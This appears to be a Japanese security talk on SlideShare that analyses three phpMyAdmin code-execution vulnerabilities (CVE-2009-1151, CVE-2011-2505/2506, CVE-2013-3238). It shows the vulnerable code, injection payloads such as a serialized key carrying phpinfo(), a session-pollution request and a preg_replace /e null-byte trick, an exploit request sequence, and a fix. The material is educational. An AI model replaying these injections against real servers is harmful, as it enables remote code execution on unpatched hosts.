SlideShare a Scribd company logo
phpMyAdminにおける
スクリプト実行可能な脆弱性3種盛り合わせ
HASH コンサルティング株式会社
徳丸 浩
アジェンダ
• 今日はphpMyAdminにおける「スクリプト実行可能な脆
弱性」を3種類紹介します
– CVE-2009-1151
– CVE-2011-2505 / CVE-2011-2506
– CVE-2013-3238
• まとめ
2
Copyright © 2013 HASH Consulting Corp.
はじめに
• (サーバーサイド)スクリプト実行可能な脆弱性と
いうと…
• OSコマンドインジェクション
• evalインジェクション
• Local File Inclusion (LFI) / Remote File
Inclusion(RFI)
• スクリプトファイルのアップロード
• …
• 今回紹介するものはどれでもない
Copyright © 2013 HASH Consulting Corp.
3
phpMyAdminとは…
Copyright © 2013 HASH Consulting Corp.
4
CVE-2009-1151
Copyright © 2013 HASH Consulting Corp.
5
CVE-2009-1151
6http://jvndb.jvn.jp/ja/contents/2009/JVNDB-2009-001443.html
セットアップ内容のセーブ
Copyright © 2013 HASH Consulting Corp.
7
configurationはシリアライズされたオブジェクト
Copyright © 2013 HASH Consulting Corp.
8
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"h
ost";s:9:"localhost";s:9:"extension";s:5:"mysql";s:1
2:"connect_type";s:3:"tcp";s:8:"compress";b:0;s:9:"
auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
configurationからPHPソースが作られる
Copyright © 2013 HASH Consulting Corp.
9
Array (
[Servers] => Array (
[0] => Array (
[host] => localhost
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"host";s:9:"localhost
";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"comp
ress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
$i++;
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
値に「’」を入れると、ちゃんとエスケープされる
Copyright © 2013 HASH Consulting Corp.
10
Array (
[Servers] => Array (
[0] => Array (
[host] => localhost'a
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"host";s:11:"localho
st'a";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"c
ompress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
$i++;
$cfg['Servers'][$i]['host'] = 'localhost¥'a';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
でも、キー側の「’」はエスケープされない ^^;
Copyright © 2013 HASH Consulting Corp.
11
Array (
[Servers] => Array (
[0] => Array (
[host'a] => localhost
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:6:"host'a";s:9:"localho
st";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"co
mpress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
$i++;
$cfg['Servers'][$i]['host'a'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
キーにスクリプトを注入可能
Copyright © 2013 HASH Consulting Corp.
12
Array (
[Servers] => Array (
[0] => Array (
[host'']=phpinfo();//] => localhost
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:19:"host']=phpinfo();//";s:9:
"localhost";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"
compress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
$i++;
$cfg['Servers'][$i]['host’]=phpinfo();//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
あーあ、サーバー側でスクリプトが…
Copyright © 2013 HASH Consulting Corp.
13
CVE-2011-2505 / CVE-2011-2506
Copyright © 2013 HASH Consulting Corp.
14
CVE-2011-2505
• 細工をしたクエリ文字列を通して、セッション変数
を変更できる
Copyright © 2013 HASH Consulting Corp.
15
if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)
{
parse_str($_SERVER['QUERY_STRING']);
session_write_close();
session_id($session_to_unset); // セッションIDの変更
session_start();
$_SESSION = array();
session_write_close();
session_destroy();
exit;
}
libraries/auth/swekey/swekey.auth.lib.php 266行目以降
parse_str 関数
16
http://php.net/manual/ja/function.parse-str.php
parse_str 関数の実行例
Copyright © 2013 HASH Consulting Corp.
17
<?php
session_start();
parse_str('a=xyz&b[x]=p23&_SESSION[user]=yamada');
var_dump($a);
var_dump($b);
var_dump($_SESSION);
【実行結果】
string(3) "xyz"
array(1) {
["x"]=>
string(3) "p23"
}
array(1) {
["user"]=>
string(6) "yamada"
}
CVE-2011-2506
18http://jvndb.jvn.jp/ja/contents/2011/JVNDB-2011-004722.html
• サーバー名(getServerName())は、コメント記号
をサニタイジングしている
• $idの方はサニタイジングしていない → 脆弱性
• CVE-2011-2505により、$idに攻撃コードが注
入できる
Copyright © 2013 HASH Consulting Corp.
19
// servers
if ($cf->getServerCount() > 0) {
$ret .= "/* Servers configuration */$crlf¥$i = 0;" . $crlf . $crlf;
foreach ($c['Servers'] as $id => $server) {
$ret .= '/* Server: ' . strtr($cf->getServerName($id), '*/', '-') . " [$id] */" . $crlf
setup/lib/ConfigGenerator.class.php 38行目
exploitの流れ
Copyright © 2013 HASH Consulting Corp.
20
セッションID、トークンの取得など
GET /phpmyadmin/setup/index.php
セッション変数汚染
GET /phpmyadmin/?_SESSION[ConfigFile][Servers][*/攻撃スクリプト
攻撃コードの埋め込み(ファイルへの保存)
POST /phpmyadmin/setup/config.php
攻撃コードの実行
GET /phpmyadmin/config/config.inc.php?eval=攻撃コード
CVE-2013-3238
Copyright © 2013 HASH Consulting Corp.
21
CVE-2013-3238
22http://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-002490.html
テーブルの接頭辞を変更する機能
Copyright © 2013 HASH Consulting Corp.
23
/e¥0 をphpinfo()に変更する操作を実行してみる
Copyright © 2013 HASH Consulting Corp.
24
Phpinfo()が実行された ^^;
Copyright © 2013 HASH Consulting Corp.
25
攻撃ができる理由
Copyright © 2013 HASH Consulting Corp.
26
case 'replace_prefix_tbl':
$current = $selected[$i];
$newtablename = preg_replace("/^" . $from_prefix . "/", $to_prefix, $current);
preg_replace("/^/e¥0/", "phpinfo();", "test");
preg_replace("/^/e", "phpinfo();", "test");
$from_pref = "/e¥0"
PHP5.4.3以前では、¥0以降は無視される
/e 修飾子…
27
http://www.php.net/manual/ja/reference.pcre.pattern.modifiers.php
/e 修飾子…続き
28
http://www.php.net/manual/ja/reference.pcre.pattern.modifiers.php
脆弱性が混入した要因
• preg_replaceに渡す正規表現をエスケープして
いなかった
– 最低限、/ をエスケープする必要がある
• えーっと、preg_quoteって、マルチバイト対応
だっけ?
– Shift_JIS以外では問題ない?
Copyright © 2013 HASH Consulting Corp.
29
preg_replace(“/^” . $from_prefix . “/”, …
↓
reg_replace("/^" . preg_quote($from_prefix, '/') . "/", …
Copyright © 2013 HASH Consulting Corp.
30
まとめ
• phpMyAdminのスクリプト実行可能な脆弱性3種
類を紹介しました
• うち、2種類は比較的基本的なもの…脆弱性診
断でも見つかる?
• Setup用のスクリプトが外部から叩けるという状
況がそもそもおかしい気が…
– phpMyAdminが標準的な導入・運用のスタイルを提
供していない?
• 脆弱性の入り方は酷いと思うけど、脆弱性って
大抵酷いものだよねw

More Related Content

PDF
Active Directory 侵害と推奨対策
PDF
自宅サーバラックの勧め ~In osc nagoya~
PDF
Prefectに関して imperfectに語る
PPTX
CMDBuild Ready2Use紹介資料
PDF
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
PDF
Grafana LokiではじめるKubernetesロギングハンズオン(NTT Tech Conference #4 ハンズオン資料)
PDF
セキュリティを楽しむ(CTFとbugbountyの始め方)
PDF
Kubernetesのしくみ やさしく学ぶ 内部構造とアーキテクチャー
Active Directory 侵害と推奨対策
自宅サーバラックの勧め ~In osc nagoya~
Prefectに関して imperfectに語る
CMDBuild Ready2Use紹介資料
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
Grafana LokiではじめるKubernetesロギングハンズオン(NTT Tech Conference #4 ハンズオン資料)
セキュリティを楽しむ(CTFとbugbountyの始め方)
Kubernetesのしくみ やさしく学ぶ 内部構造とアーキテクチャー

What's hot (20)

PPTX
できる!KickstartとAnsible!
PDF
文字コードに起因する脆弱性とその対策(増補版)
PDF
Docker入門 - 基礎編 いまから始めるDocker管理
PDF
ある工場の Redmine 2022 〜ある工場の Redmine 5.0 バージョンアップ〜 ( Redmine of one plant 2022 ...
PDF
CVE-2015-8562の脆弱性について
PPTX
標的型攻撃からどのように身を守るのか
PPTX
Continuous monitoring with OSSIM
PDF
MySQLレプリケーションあれやこれや
PDF
GraalVMでのFlight Recorderを使ったパフォーマンス解析(JJUG CCC 2023 Spring)
PDF
[GKE & Spanner 勉強会] GKE 入門
PDF
「さくらのクラウド」におけるVyattaの活用事例
PDF
【第26回Elasticsearch勉強会】Logstashとともに振り返る、やっちまった事例ごった煮
PDF
An ACE in the Hole - Stealthy Host Persistence via Security Descriptors
PPTX
Spring CloudとZipkinを利用した分散トレーシング
PDF
OpenStackで始めるクラウド環境構築入門(Horizon 基礎編)
PPTX
Ceph アーキテクチャ概説
PDF
kube-system落としてみました
PDF
CMDBあれこれ
PDF
アーキテクチャから理解するPostgreSQLのレプリケーション
PDF
Infiniband hack-a-thon #2 Windows班まとめ資料 Windows Server 2012 + FDR Infinibandで...
できる!KickstartとAnsible!
文字コードに起因する脆弱性とその対策(増補版)
Docker入門 - 基礎編 いまから始めるDocker管理
ある工場の Redmine 2022 〜ある工場の Redmine 5.0 バージョンアップ〜 ( Redmine of one plant 2022 ...
CVE-2015-8562の脆弱性について
標的型攻撃からどのように身を守るのか
Continuous monitoring with OSSIM
MySQLレプリケーションあれやこれや
GraalVMでのFlight Recorderを使ったパフォーマンス解析(JJUG CCC 2023 Spring)
[GKE & Spanner 勉強会] GKE 入門
「さくらのクラウド」におけるVyattaの活用事例
【第26回Elasticsearch勉強会】Logstashとともに振り返る、やっちまった事例ごった煮
An ACE in the Hole - Stealthy Host Persistence via Security Descriptors
Spring CloudとZipkinを利用した分散トレーシング
OpenStackで始めるクラウド環境構築入門(Horizon 基礎編)
Ceph アーキテクチャ概説
kube-system落としてみました
CMDBあれこれ
アーキテクチャから理解するPostgreSQLのレプリケーション
Infiniband hack-a-thon #2 Windows班まとめ資料 Windows Server 2012 + FDR Infinibandで...
Ad

Viewers also liked (20)

PDF
文字コードに起因する脆弱性とその対策
PDF
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
PDF
徳丸本ができるまで
PDF
ガラケーで楽しむオレJSの勧め
PPT
UnicodeによるXSSと SQLインジェクションの可能性
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
PDF
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
PPTX
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
PDF
Rails SQL Injection Examplesの紹介
PDF
安全なPHPアプリケーションの作り方2013
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
PDF
ログイン前セッションフィクセイション攻撃の脅威と対策
PPTX
PHPカンファレンス2009 - 45分で分かる安全なWebアプリケーション開発のための発注・要件・検収
PDF
今日こそわかる、安全なWebアプリの作り方2010
PPTX
徳丸本に載っていないWebアプリケーションセキュリティ
PPTX
文字コードの脆弱性はこの3年間でどの程度対策されたか?
PDF
いまさら聞けないパスワードの取り扱い方
PPTX
セキュアコーディング方法論再構築の試み
PDF
XSS再入門
文字コードに起因する脆弱性とその対策
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
徳丸本ができるまで
ガラケーで楽しむオレJSの勧め
UnicodeによるXSSと SQLインジェクションの可能性
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
Rails SQL Injection Examplesの紹介
安全なPHPアプリケーションの作り方2013
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
ログイン前セッションフィクセイション攻撃の脅威と対策
PHPカンファレンス2009 - 45分で分かる安全なWebアプリケーション開発のための発注・要件・検収
今日こそわかる、安全なWebアプリの作り方2010
徳丸本に載っていないWebアプリケーションセキュリティ
文字コードの脆弱性はこの3年間でどの程度対策されたか?
いまさら聞けないパスワードの取り扱い方
セキュアコーディング方法論再構築の試み
XSS再入門
Ad

Similar to phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ (20)

PPTX
安全なPHPアプリケーションの作り方2014
PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
PDF
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
PPTX
Consulによる運用自律化体験ハンズオンとConsul活用事例紹介
PDF
About OpenStack DBaas (trove)
PDF
Serf / Consul 入門 ~仕事を楽しくしよう~
PPTX
安全なPHPアプリケーションの作り方2016
PDF
クラウド環境向けZabbixカスタマイズ紹介(第5回Zabbix勉強会)
PDF
Tottoruby 20110903
KEY
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
PPTX
Azure サポート エンジニア直伝 ~ PowerShell 実践活用術 ~
PDF
Cloud Design Pattern #3 Compensating Transaction_エンジニア勉強会20140917
PDF
デブサミ夏2014 開発者に嬉しいSoftLayerサーバー構築Tips
PPTX
Step by stepで学ぶTerraformによる監視付きAWS構築
PDF
【19-C-L】Web開発者ならおさえておきたい「常時SSL/TLS化の実装ポイント」
PDF
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
PDF
泥臭い運用から、プログラマブルインフラ構築(に行きたい)
PDF
WTM53 phpフレームワーク いまさらcodeigniter
PDF
MySQL Technology Cafe #12 MDS HA検証 ~パラメータからパフォーマンスまで~
PPTX
Zend_Acl in ServiceLayer
 
安全なPHPアプリケーションの作り方2014
XXE、SSRF、安全でないデシリアライゼーション入門
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
Consulによる運用自律化体験ハンズオンとConsul活用事例紹介
About OpenStack DBaas (trove)
Serf / Consul 入門 ~仕事を楽しくしよう~
安全なPHPアプリケーションの作り方2016
クラウド環境向けZabbixカスタマイズ紹介(第5回Zabbix勉強会)
Tottoruby 20110903
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
Azure サポート エンジニア直伝 ~ PowerShell 実践活用術 ~
Cloud Design Pattern #3 Compensating Transaction_エンジニア勉強会20140917
デブサミ夏2014 開発者に嬉しいSoftLayerサーバー構築Tips
Step by stepで学ぶTerraformによる監視付きAWS構築
【19-C-L】Web開発者ならおさえておきたい「常時SSL/TLS化の実装ポイント」
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
泥臭い運用から、プログラマブルインフラ構築(に行きたい)
WTM53 phpフレームワーク いまさらcodeigniter
MySQL Technology Cafe #12 MDS HA検証 ~パラメータからパフォーマンスまで~
Zend_Acl in ServiceLayer
 

More from Hiroshi Tokumaru (20)

PPTX
SPAセキュリティ入門~PHP Conference Japan 2021
PPTX
ウェブセキュリティのありがちな誤解を解説する
PPTX
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
PPT
SQLインジェクション再考
PPTX
徳丸本VMに脆弱なWordPressを導入する
PPTX
introduction to unsafe deserialization part1
PPTX
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
PPTX
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
PPTX
Railsエンジニアのためのウェブセキュリティ入門
PPTX
安全なWebアプリケーションの作り方2018
PPTX
秀スクリプトの話
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
PPTX
若手エンジニアのためのセキュリティ講座
PPTX
ウェブセキュリティの常識
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
PDF
ウェブアプリケーションセキュリティ超入門
PPTX
ウェブセキュリティの最近の話題早分かり
PPTX
セキュリティの都市伝説を暴く
PPTX
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
SPAセキュリティ入門~PHP Conference Japan 2021
ウェブセキュリティのありがちな誤解を解説する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
SQLインジェクション再考
徳丸本VMに脆弱なWordPressを導入する
introduction to unsafe deserialization part1
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Railsエンジニアのためのウェブセキュリティ入門
安全なWebアプリケーションの作り方2018
秀スクリプトの話
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
若手エンジニアのためのセキュリティ講座
ウェブセキュリティの常識
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
ウェブアプリケーションセキュリティ超入門
ウェブセキュリティの最近の話題早分かり
セキュリティの都市伝説を暴く
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう

phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ